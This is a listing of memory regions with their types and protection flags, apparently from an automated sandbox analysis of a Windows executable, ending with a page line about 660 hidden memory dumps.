page read and write
21CD8D30000
heap
page readonly
260C5A32000
heap
page read and write
260C5C1F000
heap
page read and write
1E4E7ED0000
heap
page read and write
7F8E0000
trusted library allocation
page execute and read and write
260C4B30000
heap
page read and write
37C893F000
stack
page read and write
260C5BEE000
heap
page read and write
260C2B10000
heap
page read and write
260C4BDF000
heap
page read and write
260C4C27000
heap
page read and write
1E4E7CA7000
heap
page read and write
260C2D45000
heap
page read and write
260C4B31000
heap
page read and write
40E1000
trusted library allocation
page read and write
1E4CDD58000
heap
page read and write
1E4CDC9F000
heap
page read and write
260C4B30000
heap
page read and write
1F0000
heap
page read and write
78E000
heap
page read and write
6EF000
unkown
page read and write
69B0000
trusted library allocation
page read and write
1E4CFDCE000
trusted library allocation
page read and write
9DF000
stack
page read and write
21CD6FB0000
heap
page read and write
26C0000
heap
page read and write
14D000
stack
page read and write
1D210690000
direct allocation
page read and write
65C0000
trusted library allocation
page read and write
6710000
trusted library allocation
page read and write
37C8CBE000
stack
page read and write
6AE8000
trusted library allocation
page read and write
1E4D0256000
trusted library allocation
page read and write
1E4E7D4D000
heap
page read and write
1E4CDE90000
heap
page readonly
1E4E7D75000
heap
page read and write
144E000
stack
page read and write
5D8E000
stack
page read and write
21CDA737000
trusted library allocation
page read and write
94987FB000
stack
page read and write
164F000
stack
page read and write
120E000
stack
page read and write
21CD707A000
heap
page read and write
1E4D020A000
trusted library allocation
page read and write
75B000
heap
page read and write
260C4C6C000
heap
page read and write
260C4AB3000
heap
page read and write
1D2103C0000
heap
page read and write
260C4BE6000
heap
page read and write
7FFB4B140000
trusted library allocation
page read and write
3054000
trusted library allocation
page read and write
9497FFF000
stack
page read and write
C50E97E000
stack
page read and write
260C4C49000
heap
page read and write
43A2000
trusted library allocation
page read and write
260C4A93000
heap
page read and write
260C5BEE000
heap
page read and write
21C84A01000
trusted library allocation
page read and write
6191000
heap
page read and write
5C8E000
stack
page read and write
260C2DAF000
heap
page read and write
1E4D03A8000
trusted library allocation
page read and write
260C5BEE000
heap
page read and write
1E4CFE11000
trusted library allocation
page read and write
30DA000
trusted library allocation
page read and write
6320000
heap
page read and write
260C4B30000
heap
page read and write
C50EBFF000
stack
page read and write
124E000
stack
page read and write
1E4D02A2000
trusted library allocation
page read and write
260C2CC0000
heap
page read and write
6840000
trusted library allocation
page execute and read and write
260C5C0E000
heap
page read and write
37C836D000
stack
page read and write
260C4C49000
heap
page read and write
260C4B30000
heap
page read and write
517D000
stack
page read and write
1283000
trusted library allocation
page execute and read and write
260C4B30000
heap
page read and write
21CD703A000
heap
page read and write
260C55F0000
trusted library allocation
page read and write
260C2C65000
heap
page read and write
260C5AEE000
heap
page read and write
1E4CDD85000
heap
page read and write
16C0000
trusted library allocation
page read and write
305F000
trusted library allocation
page read and write
260C2D88000
heap
page read and write
94985FD000
stack
page read and write
200000
heap
page read and write
2920000
heap
page read and write
260C2D8A000
heap
page read and write
260C5C1F000
heap
page read and write
26CA000
heap
page read and write
1E4D00EF000
trusted library allocation
page read and write
6870000
trusted library allocation
page read and write
260C4BF4000
heap
page read and write
12A0000
trusted library allocation
page read and write
21CD9113000
trusted library allocation
page read and write
21CD7030000
heap
page read and write
8D0000
heap
page read and write
1D2103CB000
heap
page read and write
260C4B30000
heap
page read and write
7FFB4B120000
trusted library allocation
page read and write
260C4AD7000
heap
page read and write
260C4C6B000
heap
page read and write
6640000
trusted library allocation
page read and write
1465000
heap
page read and write
21C84001000
trusted library allocation
page read and write
410000
remote allocation
page execute and read and write
65AE000
stack
page read and write
6780000
trusted library allocation
page read and write
94980FE000
stack
page read and write
21CD7044000
heap
page read and write
30AC000
trusted library allocation
page read and write
1E4E7CF9000
heap
page read and write
41AF000
trusted library allocation
page read and write
C50EC7E000
stack
page read and write
260C4B30000
heap
page read and write
C50E5EE000
stack
page read and write
260C4BDD000
heap
page read and write
65F9000
trusted library allocation
page read and write
78B000
heap
page read and write
260C5BFD000
heap
page read and write
1400000
heap
page execute and read and write
18D000
stack
page read and write
21CD7390000
heap
page read and write
30D2000
trusted library allocation
page read and write
260C2CEE000
heap
page read and write
4208000
trusted library allocation
page read and write
260C5C2D000
heap
page read and write
611E000
stack
page read and write
6790000
trusted library allocation
page execute and read and write
5FDE000
stack
page read and write
300D000
trusted library allocation
page read and write
32E7000
trusted library allocation
page read and write
37C86FD000
stack
page read and write
4377000
trusted library allocation
page read and write
1E4CDD46000
heap
page read and write
358D000
trusted library allocation
page read and write
1E4E7D8E000
heap
page read and write
3100000
trusted library allocation
page read and write
1E4E7DD0000
heap
page read and write
260C4B30000
heap
page read and write
37C8BBE000
stack
page read and write
1E4CF956000
heap
page read and write
260C4A97000
heap
page read and write
7FFB4B100000
trusted library allocation
page read and write
2FD0000
heap
page read and write
1D210590000
heap
page read and write
2FE1000
trusted library allocation
page read and write
61A6000
heap
page read and write
260C5A1C000
heap
page read and write
6430000
trusted library allocation
page read and write
26C7000
heap
page read and write
1E4CFDC0000
trusted library allocation
page read and write
1450000
heap
page read and write
1E4CFDC3000
trusted library allocation
page read and write
C50F07E000
stack
page read and write
260C5AF9000
heap
page read and write
260C5C42000
heap
page read and write
61B8000
heap
page read and write
1E4E7D10000
heap
page read and write
94981FF000
stack
page read and write
260C5C29000
heap
page read and write
6ACB000
trusted library allocation
page read and write
4340000
trusted library allocation
page read and write
260C4C27000
heap
page read and write
1E4E7DF0000
heap
page read and write
772000
heap
page read and write
1E4CFCA1000
trusted library allocation
page read and write
260C4C81000
heap
page read and write
1ED000
stack
page read and write
1E4E7D6D000
heap
page read and write
260C4A8E000
heap
page read and write
6AED000
trusted library allocation
page read and write
7FFB4B0B0000
trusted library allocation
page read and write
1E4CDF10000
heap
page execute and read and write
260C4A8B000
heap
page read and write
153D000
heap
page read and write
40D5000
trusted library allocation
page read and write
260C4C49000
heap
page read and write
260C2C60000
heap
page read and write
21C89401000
trusted library allocation
page read and write
21CD8EE0000
heap
page execute and read and write
450000
heap
page read and write
4408000
trusted library allocation
page read and write
59CE000
stack
page read and write
79F000
heap
page read and write
37C980C000
stack
page read and write
128D000
trusted library allocation
page execute and read and write
78A000
heap
page read and write
3198000
trusted library allocation
page read and write
21CD7070000
heap
page read and write
5DCD000
stack
page read and write
7DF43FE10000
trusted library allocation
page execute and read and write
260C4B81000
heap
page read and write
7FFB4B180000
trusted library allocation
page read and write
C50E8FE000
stack
page read and write
21CD7000000
heap
page read and write
21CD70BA000
heap
page read and write
6760000
trusted library allocation
page read and write
260C2CF5000
heap
page read and write
260C4AFA000
heap
page read and write
260C4AA6000
heap
page read and write
21CD706E000
heap
page read and write
4412000
trusted library allocation
page read and write
6700000
trusted library allocation
page execute and read and write
9497975000
stack
page read and write
43D7000
trusted library allocation
page read and write
6420000
trusted library allocation
page execute and read and write
260C4AFA000
heap
page read and write
260C2D88000
heap
page read and write
616C000
heap
page read and write
1458000
heap
page read and write
260C4C5C000
heap
page read and write
440F000
trusted library allocation
page read and write
1E4CFDD4000
trusted library allocation
page read and write
402000
remote allocation
page execute and read and write
6860000
heap
page read and write
1E4CDEE0000
heap
page execute and read and write
68D7000
trusted library allocation
page read and write
65F0000
trusted library allocation
page read and write
40E9000
trusted library allocation
page read and write
21C89E01000
trusted library allocation
page read and write
16D0000
heap
page read and write
260C5C54000
heap
page read and write
40CF000
trusted library allocation
page read and write
37C877E000
stack
page read and write
147D000
heap
page read and write
574E000
stack
page read and write
7FFB4AEB3000
trusted library allocation
page execute and read and write
37C82E3000
stack
page read and write
21C85E01000
trusted library allocation
page read and write
260C5A6B000
heap
page read and write
12F0000
heap
page read and write
68C0000
trusted library allocation
page execute and read and write
260C4C6C000
heap
page read and write
6AC0000
trusted library allocation
page read and write
260C5A35000
heap
page read and write
1E4CDC50000
heap
page read and write
1E4E7F02000
heap
page read and write
37C978D000
stack
page read and write
260C5240000
heap
page read and write
260C2CF5000
heap
page read and write
260C4AF6000
heap
page read and write
260C2CFD000
heap
page read and write
260C51E0000
heap
page read and write
260C4BE1000
heap
page read and write
1E4D0110000
trusted library allocation
page read and write
14F3000
heap
page read and write
21C86801000
trusted library allocation
page read and write
7FFB4B080000
trusted library allocation
page execute and read and write
12B0000
trusted library allocation
page read and write
6460000
heap
page read and write
69B9000
trusted library allocation
page read and write
6130000
heap
page read and write
3112000
trusted library allocation
page read and write
260C2D37000
heap
page read and write
7FFB4AEC0000
trusted library allocation
page read and write
9497CFE000
stack
page read and write
1E4CFE0A000
trusted library allocation
page read and write
439F000
trusted library allocation
page read and write
69BD000
trusted library allocation
page read and write
260C4CE5000
heap
page read and write
4396000
trusted library allocation
page read and write
260C4AFA000
heap
page read and write
1D210390000
heap
page read and write
601E000
stack
page read and write
260C2CF5000
heap
page read and write
4FE0000
trusted library allocation
page read and write
21CD7076000
heap
page read and write
400000
remote allocation
page execute and read and write
2F7E000
stack
page read and write
260C4A81000
heap
page read and write
21C88A01000
trusted library allocation
page read and write
C50E9FE000
stack
page read and write
43A4000
trusted library allocation
page read and write
21CD92DA000
trusted library allocation
page read and write
7FFB4B092000
trusted library allocation
page read and write
61C2000
heap
page read and write
260C4B30000
heap
page read and write
260C5AEE000
heap
page read and write
C50EAFC000
stack
page read and write
148A000
heap
page read and write
6AD4000
trusted library allocation
page read and write
260C5BFD000
heap
page read and write
B6BD78C000
stack
page read and write
260C4F85000
heap
page read and write
21CD70B5000
heap
page read and write
12B2000
trusted library allocation
page read and write
4FE8000
trusted library allocation
page read and write
7FFB4AECC000
trusted library allocation
page read and write
7FFB4AF6C000
trusted library allocation
page execute and read and write
260C59F0000
heap
page read and write
260C4C7C000
heap
page read and write
260C4C7C000
heap
page read and write
6ADE000
trusted library allocation
page read and write
7FFB4B160000
trusted library allocation
page read and write
5F5E000
stack
page read and write
7FFB4AEBD000
trusted library allocation
page execute and read and write
30D7000
trusted library allocation
page read and write
94984FE000
stack
page read and write
260C4C18000
heap
page read and write
C50F0FB000
stack
page read and write
2F80000
trusted library allocation
page read and write
260C5C4C000
heap
page read and write
7FFB4B06A000
trusted library allocation
page read and write
439C000
trusted library allocation
page read and write
94982FE000
stack
page read and write
260C4ABA000
heap
page read and write
260C4AF5000
heap
page read and write
21CD9309000
trusted library allocation
page read and write
334A000
trusted library allocation
page read and write
260C4B30000
heap
page read and write
5500000
heap
page execute and read and write
7FFB4B0E0000
trusted library allocation
page read and write
B6BDAFF000
unkown
page read and write
260C5A33000
heap
page read and write
4402000
trusted library allocation
page read and write
21CD6FF6000
heap
page read and write
7FFB4AF60000
trusted library allocation
page read and write
6AF5000
trusted library allocation
page read and write
37C8D3B000
stack
page read and write
260C4BF4000
heap
page read and write
64AE000
stack
page read and write
260C4A80000
heap
page read and write
4426000
trusted library allocation
page read and write
37C8C3E000
stack
page read and write
3190000
trusted library allocation
page read and write
260C5B31000
heap
page read and write
5A0E000
stack
page read and write
260C4A93000
heap
page read and write
6AE6000
trusted library allocation
page read and write
260C5C1B000
heap
page read and write
260C5200000
heap
page read and write
14E8000
heap
page read and write
7FFB4B190000
trusted library allocation
page read and write
260C4C65000
heap
page read and write
43FB000
trusted library allocation
page read and write
260C4EB0000
remote allocation
page read and write
1270000
trusted library allocation
page read and write
267F000
stack
page read and write
61EA000
heap
page read and write
260C4BE5000
heap
page read and write
16A0000
heap
page read and write
21CD8D20000
trusted library allocation
page read and write
4356000
trusted library allocation
page read and write
6830000
trusted library allocation
page execute and read and write
21CDB137000
trusted library allocation
page read and write
7FFB4B1D0000
trusted library allocation
page read and write
7FFB4B050000
trusted library allocation
page read and write
1E4E7DA0000
heap
page execute and read and write
67F0000
trusted library allocation
page execute and read and write
12F6000
heap
page read and write
30AE000
trusted library allocation
page read and write
260C5BF9000
heap
page read and write
21CD8E00000
heap
page read and write
B6BDBFE000
stack
page read and write
1E4CFDBA000
trusted library allocation
page read and write
37C8B3E000
stack
page read and write
441B000
trusted library allocation
page read and write
12E0000
trusted library allocation
page read and write
1D210360000
heap
page read and write
260C4C18000
heap
page read and write
43C6000
trusted library allocation
page read and write
260C4C6C000
heap
page read and write
260C4C7C000
heap
page read and write
260C4C5F000
heap
page read and write
1E4E8290000
heap
page read and write
1E4CDEA0000
trusted library allocation
page read and write
1E4CFD12000
trusted library allocation
page read and write
13FF000
stack
page read and write
260C2CF5000
heap
page read and write
1D2103B0000
heap
page read and write
6120000
trusted library allocation
page read and write
12A2000
trusted library allocation
page read and write
5E0E000
stack
page read and write
260C4AFA000
heap
page read and write
DD0000
heap
page read and write
260C2D37000
heap
page read and write
4418000
trusted library allocation
page read and write
C50ED7E000
stack
page read and write
7FFB4B150000
trusted library allocation
page read and write
260C4A9A000
heap
page read and write
40DC000
trusted library allocation
page read and write
1470000
heap
page read and write
7FFB4B0F0000
trusted library allocation
page read and write
168C000
stack
page read and write
307E000
trusted library allocation
page read and write
37C8A3D000
stack
page read and write
1E4E7D0E000
heap
page read and write
1D2103B4000
heap
page read and write
5B0E000
stack
page read and write
260C2BF0000
heap
page read and write
260C2DAF000
heap
page read and write
5B4E000
stack
page read and write
30D0000
trusted library allocation
page read and write
56E000
unkown
page read and write
65D0000
trusted library allocation
page execute and read and write
260C4B80000
heap
page read and write
260C5AEE000
heap
page read and write
260C5B6D000
heap
page read and write
6850000
trusted library allocation
page read and write
C50ECFE000
stack
page read and write
227E000
stack
page read and write
4386000
trusted library allocation
page read and write
260C4AAE000
heap
page read and write
7FFB4AF70000
trusted library allocation
page execute and read and write
260C4ABB000
heap
page read and write
1E4D03BA000
trusted library allocation
page read and write
260C5C1F000
heap
page read and write
260C5A2E000
heap
page read and write
260C4A9F000
heap
page read and write
260C4EB0000
remote allocation
page read and write
12BB000
trusted library allocation
page execute and read and write
37C88F8000
stack
page read and write
302E000
trusted library allocation
page read and write
6AEF000
trusted library allocation
page read and write
260C4EB0000
remote allocation
page read and write
1E4CDC10000
heap
page read and write
37C83EF000
stack
page read and write
6230000
trusted library section
page read and write
260C4AC6000
heap
page read and write
1E4CDD22000
heap
page read and write
6189000
heap
page read and write
61E0000
heap
page read and write
31EF000
trusted library allocation
page read and write
21CD8F70000
trusted library allocation
page read and write
260C2DBB000
heap
page read and write
588E000
stack
page read and write
260C5AEE000
heap
page read and write
79F000
heap
page read and write
21CD6FF0000
heap
page read and write
260C5BF0000
heap
page read and write
260C2DBC000
heap
page read and write
260C5BEE000
heap
page read and write
1547000
heap
page read and write
260C4F80000
heap
page read and write
D6C000
stack
page read and write
6AD8000
trusted library allocation
page read and write
21CD9D37000
trusted library allocation
page read and write
1284000
trusted library allocation
page read and write
260C4BE6000
heap
page read and write
21CD92E6000
trusted library allocation
page read and write
5C4E000
stack
page read and write
260C4C7C000
heap
page read and write
260C2D7F000
heap
page read and write
129D000
trusted library allocation
page execute and read and write
260C4C18000
heap
page read and write
436B000
trusted library allocation
page read and write
12C0000
heap
page read and write
21CD6F80000
heap
page read and write
260C2D8A000
heap
page read and write
260C4640000
heap
page read and write
570000
heap
page read and write
C50EA7E000
stack
page read and write
6606000
trusted library allocation
page read and write
441E000
trusted library allocation
page read and write
260C4C27000
heap
page read and write
21CD8DB0000
trusted library allocation
page read and write
418A000
trusted library allocation
page read and write
41A0000
trusted library allocation
page read and write
260C5A98000
heap
page read and write
260C2C10000
heap
page read and write
12B7000
trusted library allocation
page execute and read and write
260C4BDB000
heap
page read and write
260C4BDF000
heap
page read and write
94983FB000
stack
page read and write
7FFB4B110000
trusted library allocation
page read and write
260C5090000
heap
page read and write
7FFB4AFD0000
trusted library allocation
page execute and read and write
12AA000
trusted library allocation
page execute and read and write
1E4E7D9D000
heap
page read and write
12B5000
trusted library allocation
page execute and read and write
6438000
trusted library allocation
page read and write
260C4F90000
heap
page read and write
260C2D8A000
heap
page read and write
260C2DAF000
heap
page read and write
1E4D00CD000
trusted library allocation
page read and write
43EC000
trusted library allocation
page read and write
7FFB4B0A0000
trusted library allocation
page execute and read and write
68E0000
trusted library allocation
page read and write
5E5E000
stack
page read and write
260C4AE7000
heap
page read and write
260C5C1F000
heap
page read and write
260C4ABF000
heap
page read and write
1E4CDCB7000
heap
page read and write
37C887E000
stack
page read and write
40F2000
trusted library allocation
page read and write
260C2CE8000
heap
page read and write
7FFB4B0C0000
trusted library allocation
page read and write
260C4C80000
heap
page read and write
1E4CDCF9000
heap
page read and write
1E4CDE80000
trusted library allocation
page read and write
1E4E7CA0000
heap
page read and write
21CD92E2000
trusted library allocation
page read and write
6820000
trusted library allocation
page read and write
77A000
heap
page read and write
21CD708E000
heap
page read and write
578E000
stack
page read and write
7FFB4AF96000
trusted library allocation
page execute and read and write
1E4E7D71000
heap
page read and write
12C7000
heap
page read and write
3FE8000
trusted library allocation
page read and write
6AE1000
trusted library allocation
page read and write
30F5000
trusted library allocation
page read and write
5E0000
heap
page read and write
7FFB4B1A0000
trusted library allocation
page read and write
260C55E0000
heap
page read and write
1690000
trusted library allocation
page execute and read and write
260C4C7C000
heap
page read and write
7FFB4B1B0000
trusted library allocation
page read and write
260C4C5C000
heap
page read and write
4420000
trusted library allocation
page read and write
260C5AC7000
heap
page read and write
61DB000
heap
page read and write
43B1000
trusted library allocation
page read and write
1E4CDEB0000
heap
page read and write
4393000
trusted library allocation
page read and write
ED000
stack
page read and write
22B0000
heap
page read and write
260C4A85000
heap
page read and write
260C4A8B000
heap
page read and write
260C5A2A000
heap
page read and write
6AF2000
trusted library allocation
page read and write
260C5A2B000
heap
page read and write
1E4CDCD9000
heap
page read and write
260C5AEE000
heap
page read and write
69B7000
trusted library allocation
page read and write
1E4D00AD000
trusted library allocation
page read and write
260C4C27000
heap
page read and write
21C85401000
trusted library allocation
page read and write
5F9E000
stack
page read and write
C50E873000
stack
page read and write
34A3000
trusted library allocation
page read and write
1E4CFDBD000
trusted library allocation
page read and write
260C4C7C000
heap
page read and write
16D7000
heap
page read and write
1E4CDCBF000
heap
page read and write
1E4CDCDD000
heap
page read and write
260C4AAB000
heap
page read and write
260C4A9A000
heap
page read and write
7FFB4AF66000
trusted library allocation
page read and write
7FFB4AEB4000
trusted library allocation
page read and write
260C53E0000
heap
page read and write
32E1000
trusted library allocation
page read and write
21CDBB3A000
trusted library allocation
page read and write
4218000
trusted library allocation
page read and write
260C59F6000
heap
page read and write
61BC000
heap
page read and write
21CD9337000
trusted library allocation
page read and write
37C89B7000
stack
page read and write
1E4CFCF9000
trusted library allocation
page read and write
260C4C18000
heap
page read and write
1E4CDBF0000
heap
page read and write
21CD92D4000
trusted library allocation
page read and write
21CD7394000
heap
page read and write
260C5A1D000
heap
page read and write
9497DFF000
stack
page read and write
260C4C5C000
heap
page read and write
260C2D88000
heap
page read and write
37C8ABC000
stack
page read and write
21CD8D00000
trusted library allocation
page read and write
260C4ACB000
heap
page read and write
26CC000
heap
page read and write
260C5A41000
heap
page read and write
1E4CDEE7000
heap
page execute and read and write
263E000
stack
page read and write
1E4CDCE5000
heap
page read and write
3FE1000
trusted library allocation
page read and write
65E0000
trusted library allocation
page read and write
4370000
trusted library allocation
page read and write
C50EF7E000
stack
page read and write
260C4A8E000
heap
page read and write
260C4C7C000
heap
page read and write
21CD8EF1000
trusted library allocation
page read and write
260C4BF4000
heap
page read and write
1E4D0249000
trusted library allocation
page read and write
260C5C36000
heap
page read and write
6880000
trusted library allocation
page read and write
1E4CDBE0000
heap
page read and write
37C867E000
stack
page read and write
438C000
trusted library allocation
page read and write
1E4CDFC5000
heap
page read and write
6786000
trusted library allocation
page read and write
7FFB4B0D0000
trusted library allocation
page read and write
1E4CFD08000
trusted library allocation
page read and write
260C4ADF000
heap
page read and write
1E4E7CBB000
heap
page read and write
14D1000
heap
page read and write
6634000
trusted library allocation
page read and write
260C4C49000
heap
page read and write
1E4DFD12000
trusted library allocation
page read and write
1E4D0258000
trusted library allocation
page read and write
7FFB4B130000
trusted library allocation
page read and write
260C4AD2000
heap
page read and write
260C4ADA000
heap
page read and write
6766000
trusted library allocation
page read and write
1E4CDD26000
heap
page read and write
7FFB4B070000
trusted library allocation
page execute and read and write
260C5BF1000
heap
page read and write
260C5BF1000
heap
page read and write
1E4CDD20000
heap
page read and write
43AA000
trusted library allocation
page read and write
260C4AE2000
heap
page read and write
260C4BDB000
heap
page read and write
260C4C5C000
heap
page read and write
260C2DAF000
heap
page read and write
1E4D0087000
trusted library allocation
page read and write
7FFB4B061000
trusted library allocation
page read and write
6770000
heap
page read and write
68D0000
trusted library allocation
page read and write
DE0000
heap
page read and write
6AC4000
trusted library allocation
page read and write
260C4A87000
heap
page read and write
1D210370000
heap
page read and write
1E4DFCA1000
trusted library allocation
page read and write
21CDB13A000
trusted library allocation
page read and write
260C4B30000
heap
page read and write
10F9000
stack
page read and write
437D000
trusted library allocation
page read and write
260C5BAB000
heap
page read and write
C50EB7E000
stack
page read and write
260C4A82000
heap
page read and write
7FFB4B1C0000
trusted library allocation
page read and write
260C2DAF000
heap
page read and write
21C88001000
trusted library allocation
page read and write
21CD92CA000
trusted library allocation
page read and write
1E4CFD41000
trusted library allocation
page read and write
1E4CDC90000
heap
page read and write
30C2000
trusted library allocation
page read and write
21CD6FF4000
heap
page read and write
3194000
trusted library allocation
page read and write
1290000
trusted library allocation
page read and write
21CD7074000
heap
page read and write
1E4CFCBF000
trusted library allocation
page read and write
1E4DFCB0000
trusted library allocation
page read and write
260C5C06000
heap
page read and write
7FFB4B170000
trusted library allocation
page read and write
260C5AEF000
heap
page read and write
66F0000
trusted library allocation
page execute and read and write
12A6000
trusted library allocation
page execute and read and write
6ACE000
trusted library allocation
page read and write
1E4D0130000
trusted library allocation
page read and write
260C2CE8000
heap
page read and write
30D5000
trusted library allocation
page read and write
1E4CFDD1000
trusted library allocation
page read and write
1E4CDE60000
trusted library allocation
page read and write
1E4D0220000
trusted library allocation
page read and write
1E4E7CAE000
heap
page read and write
4365000
trusted library allocation
page read and write
54FD000
stack
page read and write
37C87FD000
stack
page read and write
There are 660 hidden memdumps, click here to show them.